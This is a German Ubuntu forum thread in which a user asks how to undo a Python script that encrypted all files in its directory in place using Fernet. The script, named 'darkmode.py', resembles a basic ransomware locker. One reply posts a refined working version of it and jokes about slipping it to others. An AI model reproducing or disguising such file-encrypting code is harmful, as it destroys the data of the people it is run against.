ubuntuusers.de

Files aus Versehen verschlüsselt..

Status: Ungelöst | Ubuntu-Version: Ubuntu 22.04 (Jammy Jellyfish)
Antworten |

rainer4000

Anmeldungsdatum:
4. Januar 2023

Beiträge: Zähle...

Ich habe meine files ausversehen verschlüsselt und weiß jetzt leider nicht wie Ich sie wieder entschlüsseln kann.

Ich habe dieses python3 Script verwendet:

 #!/usr/bin/env python3

import os
from cryptography.fernet import Fernet
 
files = []
 
for file in os.listdir():
  if file == "darkmode.py" or file == "thekey.key":
    continue
  if os.path.isfile(file):
    files.append(file)
print(files)
 
 
key = Fernet.generate_key()
 
with open("thekey.key", "wb") as thekey:
   thekey.write(key)
 
for file in files:
  with open(file, "rb") as thefile:
    contents = thefile.read()
  contents_encrypted = Fernet(key).encrypt(contents)
  with open(file, "wb") as thefile:
    thefile.write(contents_encrypted)

Es gibt auch eine thekey.key file in der ein Schlüssel gespeichert wurde. Kann mir jemand vielleicht helfen?

Bearbeitet von kB:

Hilferuf aus Titel entfernt.

Bearbeitet von kB:

Forensyntax korrigiert.
Bitte verwende in Zukunft Codeblöcke, um die Übersicht im Forum zu verbessern!

Moderiert von kB:

Aus dem Forum „Sicherheit“ in einen besser passenden Forenbereich verschoben. Bitte beachte die als wichtig markierten Themen („Welche Themen gehören hier her und welche nicht?“) im jeweiligen Forum! Danke.

frostschutz

Avatar von frostschutz

Anmeldungsdatum:
18. November 2010

Beiträge: 7790

Hoffentlich nur einmal ausgeführt? Sonst hast du mehrfach verschlüsselt und der Key des vorherigen Aufrufs ist schon überschrieben und weg.

  • Unbedingt zuerst mal den jetzigen Zustand komplett sichern (key und Dateien) bevor da noch irgendwas passiert.

Das generate_key rauswerfen und statt den Key schreibend zu öffnen musst du den Key lesend öffnen (open thekey "rb" statt "wb") und lesen (key = thekey.read())

Statt Fernet(key).encrypt dann Fernet(key).decrypt und so ungefähr sollte der Hase dann vielleicht laufen.

Ich habe dieses fernet Dingens noch nie benutzt und habe keine Zeit das durchzuprobieren, daher – alles nur geraten, sorry.

  • Mach nichts ohne Vollkopie vorher. Das Script überschreibt alles aus dem aktuellen Verzeichnis in-place und ohne jede Rückfrage.

kB Team-Icon

Supporter, Wikiteam
Avatar von kB

Anmeldungsdatum:
4. Oktober 2007

Beiträge: 9724

Wohnort: Münster

rainer4000 schrieb:

Ich habe meine files ausversehen verschlüsselt

Nein, das geschah nicht versehentlich, sondern DU hast es mit voller Absicht gemacht und Dir dafür sogar ein Programm geschrieben.

und weiß jetzt leider nicht wie Ich sie wieder entschlüsseln kann

Du benötigst ein Programm, welches die Dateien wieder entschlüsselt. Kannst Du genau so erstellen wie das Programm zum Verschlüsseln.

Dazu musst Du die Dokumentation von cryptography.fernet lesen, um heraus zu finden, wie die Methode zum Entschlüsseln heißt.

Marc_BlackJack_Rintsch Team-Icon

Ehemalige
Avatar von Marc_BlackJack_Rintsch

Anmeldungsdatum:
16. Juni 2006

Beiträge: 4687

Wohnort: Berlin

@rainer4000: Neenee, sagen das sei Python 3 und dann os/os.path statt pathlib verwenden. 🤡

Eingerückt wird per Konvention mit vier Leerzeichen pro Ebene, nicht mit zwei.

continue würde ich sowieso meiden wo es geht, und das geht eigentlich immer. Hier würde man einfach die beiden Bedingungen von den ifs entsprechend verbinden.

Das erstellen der Liste kann man auch als „list comprehension“ schreiben.

An file und thefile sollte auffallen das da was komisch ist. file ist falsch als Name für einen Dateinamen. Dann hat man file auch frei als Namen für das tatsächliche Datei-Objekt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
from pathlib import Path

from cryptography.fernet import Fernet


def main():
    key_filename = "thekey.key"
    paths = [
        path
        for path in Path().iterdir()
        if path.is_file() and path.name not in {"darkmode.py", key_filename}
    ]
    print(paths)

    key = Fernet.generate_key()
    Path(key_filename).write_bytes(key)

    for path in paths:
        path.write_bytes(Fernet(key).encrypt(path.read_bytes()))


if __name__ == "__main__":
    main()

Bleibt noch die Frage was "darkmode.py" ist‽ Nicht zufällig das Programm selbst? Dann sollte der Name dynamisch aus __file__ ermittelt werden und nicht hard kodiert im Quelltext stehen.

Und ganz wichtig wenn Du das anderen Leuten unterjubeln möchtest: Da muss noch ein Kommentar in russisch rein, denn wir wissen ja, das die Elite-Ransomware-Hacker aus 🇷🇺 kommen. 😜

juribel

Anmeldungsdatum:
20. April 2014

Beiträge: 1250

Keine Datensicherung !?

Marc_BlackJack_Rintsch Team-Icon

Ehemalige
Avatar von Marc_BlackJack_Rintsch

Anmeldungsdatum:
16. Juni 2006

Beiträge: 4687

Wohnort: Berlin

War die Frage an mich gerichtet? Das macht irgendwie keinen Sinn wenn die Ransomware eine (unverschlüsselte) Sicherung macht, oder? 🤔

juribel

Anmeldungsdatum:
20. April 2014

Beiträge: 1250

Die Frage ging an den Themenstarter. Keine Datensicherung → nichts Wichtiges.

Antworten |